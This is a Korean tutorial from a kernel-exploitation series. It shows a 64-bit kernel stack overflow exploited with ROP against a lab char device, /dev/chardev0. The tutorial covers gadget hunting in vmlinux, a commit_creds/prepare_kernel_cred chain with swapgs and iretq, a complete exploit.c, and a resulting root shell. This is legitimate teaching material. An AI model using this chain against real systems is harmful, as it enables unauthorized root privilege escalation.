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03.Stack smashing(64bit) & ROP

Set environment

02.Stack smashing(64bit) & Return-to-user(ret2usr)-Setenvironment 의 설정과 동일합니다.

Proof of concept

02.Stack smashing(64bit) & Return-to-user(ret2usr) - Proof of concept 에서 사용한 Example code를 사용합니다.

Return Oriented Programming

ROP 기술에 대한 정보는 06.ROP(Return Oriented Programming) 페이지에서 확인 가능합니다.

Exploit method

ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.

Exploit 순서

prepare_kernel_cred() 함수의 인자 값으로 '0'을 전달해 "root"의 자격 증명을 준비합니다.
commit_creds() 함수의 인자 값으로 prepare_kernel_cred() 함수가 리턴한 값("root"의 자격 증명)을 전달 합니다.
system() 함수를 이용하여 "/bin/sh" 를 실행합니다.

이를 코드로 표현하면 다음과 같습니다.

code

commit_creds(prepare_kernel_cred(NULL));
system("/bin/sh");

앞에 내용을 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.

확인해야 할 정보 목록

prepare_kernel_cred() 함수의 주소
commit_creds() 함수의 주소
가젯의 위치
- "pop rdi"
- "mov rdi, rax"
- "swapgs"
- "iretq"

Find gadget

Ubuntu 14.04버전의 경우 KASLR이 기본적으로 활성화되어 있지 않습니다.
- 즉, Gadget을 Debug Symbol 파일에서 Gadget의 위치를 찾아 사용하면됩니다.
다음과 같이 첫번째 인자 값을 저장하기 위한 "pop rdi" Gadget을 찾을 수 있습니다.

Find "pop rdi"

lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdi ; ret" | head -1
0xffffffff813e223f: pop rdi ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$

prepare_kernel_cred() 함수의 리턴 값을 첫번째 인자값으로 전달하기 위해 "mov rdi, rax" Gadget이 필요합니다.
- 많은 양의 "mov rdi, rax" Gadget이 출력되지만 "ret" 명령어로 끝나는 Gadget은 존재하지 않습니다.
이 문제를 해결하기 위해 call 명령어에 의해 commit_creds() 함수가 호출되도록 구현합니다.
- 예를 들어 RDX 레지스터에 commit_creds() 함수의 주소를 저장하고, "mov rdi, rax ; call rdx" Gadget을 이용해 해당 함수를 호출합니다.

Find "mov rdi, rax"

lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax"
0xffffffff810661d4: mov rdi, rax ; call qword [0x81C2E0F8] ;  (1 found)
0xffffffff811b4bd3: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
0xffffffff811ba7d5: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
0xffffffff817efe40: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
0xffffffff81d66689: mov rdi, rax ; call qword [0x81C2E148] ;  (1 found)
...
0xffffffff817592d9: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff8175a6f5: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff8175c5fe: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff817696cb: mov rdi, rax ; call rdx ;  (1 found)
0xffffffff817e9e92: mov rdi, rax ; call rdx ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$

Find "mov rdi, rax ; call rdx"

lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "mov rdi, rax ; call rdx"|head -1
0xffffffff810152cf: mov rdi, rax ; call rdx ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$

RDX 레지스터에 commit_creds() 함수의 주소를 저장하기 위해 "pop rdx" Gadget을 찾습니다.

Find "pop rdx"

lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 1|grep "pop rdx ; ret"|head -1
0xffffffff8112d952: pop rdx ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$

GS 레지스터 값의 교환을 위한 "SWAPGS" Gadget을 찾습니다.

Find "swapgs"

lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "swapgs"
0xffffffff810613d4: swapgs  ; pop rbp ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Kernel/Exploit$

Kernel 영역에서 User 영역으로 돌아가기 위해 "iretq" 명령어를 찾습니다.
- "rp-lin-x64" 프로그램은 "ret, call, jmp"로 끝나는 Gadget만을 찾기 때문에 "iret" 명령어는 검색되지 않습니다.
다음과 같이 "objdump"를 이용하여 "iret" Gadget을 찾을 수 있습니다.

Find "iretq"

lazenca0x0@ubuntu:~/Kernel/Exploit$ ./rp-lin-x64 -f /usr/lib/debug/boot/vmlinux-4.4.0-31-generic -r 2|grep "iretq"
lazenca0x0@ubuntu:~/Kernel/Exploit$ objdump -j .text -d /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep iretq|head -1
ffffffff817f7a97:	48 cf                	iretq  
lazenca0x0@ubuntu:~/Kernel/Exploit$

https://github.com/0vercl0k/rp/blob/3a54a7cd33f6828c628e92be946060ef835625b4/src/inc/gadget.hpp#L30

ROP

다음과 같이 ROP를 구현할 수 있습니다.

ROP

int main(){
...
    size_t rop[512] = {0};
...
    rop[8] = canary;
    rop[9] = 0;
    rop[10] = 0;
    rop[11] = 0;
    rop[12] = 0xffffffff813e223f;	//pop_rdi
    rop[13] = 0;
    rop[14] = prepare_kernel_cred;
    rop[15] = 0xffffffff8112d952;	//pop rdx ; ret  ; 
    rop[16] = commit_creds;				
    rop[17] = 0xffffffff817e9e92;	//mov rdi, rax ; call rdx ; 
    rop[18] = 0;
    rop[19] = 0xffffffff810613d4;	//swapgs  ; pop rbp ; ret  ;
    rop[20] = 0;
    rop[21] = 0xffffffff817f7a97;	//iretq;
    rop[22] = (size_t)getShell;
    rop[23] = rv.user_cs;
    rop[24] = rv.user_rflags;
    rop[25] = rv.user_rsp;
    rop[26] = rv.user_ss;

    write(fd, rop, 8*27);
...
   return 0;
}

다음과 같이 ROP를 이용하여 shell을 획득하게 됩니다.

Get shell

lazenca0x0@ubuntu:~/Kernel/Exploit/ROP$ ./rop
prepare_kernel_cred addr: 0xffffffff8109da40
commit_creds addr: 0xffffffff8109d760
SAW CTF challenge. Best of luck!

53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67  | SAW CTF challeng
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

0f eb 2e a8 00 00 00 00 c0 6c 6c 00 00 00 00 00  | ?.??ll
[+]canary: 0xa82eeb0f
# id
uid=0(root) gid=0(root) groups=0(root)
#

Exploit code

다음과 같이 Exploit code를 완성할 수 있습니다.

exploit.c

//gcc -masm=intel -static -o rop exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

#define TEXT_LEN 64

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
size_t commit_creds, prepare_kernel_cred;

void getShell(void)
{
	execl("/bin/sh","sh",NULL);
}

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
        );
}
unsigned long kallsym_getaddr(const char* str)
{
	FILE *stream;
	char fbuf[256];
	char addr[32];

	stream = fopen("/proc/kallsyms","r");
	if(stream < 0)
	{
		printf("failed to open /proc/kallsyms\n");
		return 0;
	}

	memset(fbuf,0x00,sizeof(fbuf));
	
	char buf[0x30] = {0};
	while(fgets(fbuf,256,stream) != NULL)
	{
		char *p = fbuf;
		char *a = addr;

		if(strlen(fbuf) == 0)
			continue;

		memset(addr,0x00,sizeof(addr));
		fbuf[strlen(fbuf)-1] = '\0';

		while(*p != ' ')
			*a++ = *p++;

		p += 3;
		if(!strcmp(p,str)){
		    char hex[20] = {0};
		    strncpy(hex, addr, 16);
		    if(strcmp(str,"prepare_kernel_cred") == 0){
			sscanf(hex, "%lx", &prepare_kernel_cred);
			return 1;
		    }else if(strcmp(str,"commit_creds") == 0){
		        sscanf(hex, "%lx", &commit_creds);
			return 1;
		    }
		}
	}

	return 0;
}
int main()
{
    static char buf[512];
    size_t rop[512] = {0};
    char val[8];
    int fd,i,j;
 
    if(kallsym_getaddr("commit_creds") == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    if(kallsym_getaddr("prepare_kernel_cred") == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    printf("prepare_kernel_cred addr: %p\n", (void*)prepare_kernel_cred);
    printf("commit_creds addr: %p\n", (void*)commit_creds);

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    printf("%s\n",buf);
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);

    backup_rv();

    rop[8] = canary;
    rop[9] = 0;
    rop[10] = 0;
    rop[11] = 0;
    rop[12] = 0xffffffff813e223f;	//pop_rdi
    rop[13] = 0;
    rop[14] = prepare_kernel_cred;  // Call prepare_kernel_cred
    rop[15] = 0xffffffff8112d952;	//pop rdx ; ret  ; 
    rop[16] = commit_creds;			
    rop[17] = 0xffffffff817e9e92;	//mov rdi, rax ; call rdx(commit_creds) ;
    rop[18] = 0;
    rop[19] = 0xffffffff810613d4;	//swapgs  ; pop rbp ; ret  ;
    rop[20] = 0;
    rop[21] = 0xffffffff817f7a97;	//iretq;
    rop[22] = (size_t)getShell;
    rop[23] = rv.user_cs;
    rop[24] = rv.user_rflags;
    rop[25] = rv.user_rsp;
    rop[26] = rv.user_ss;

    write(fd, rop, 8*27);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

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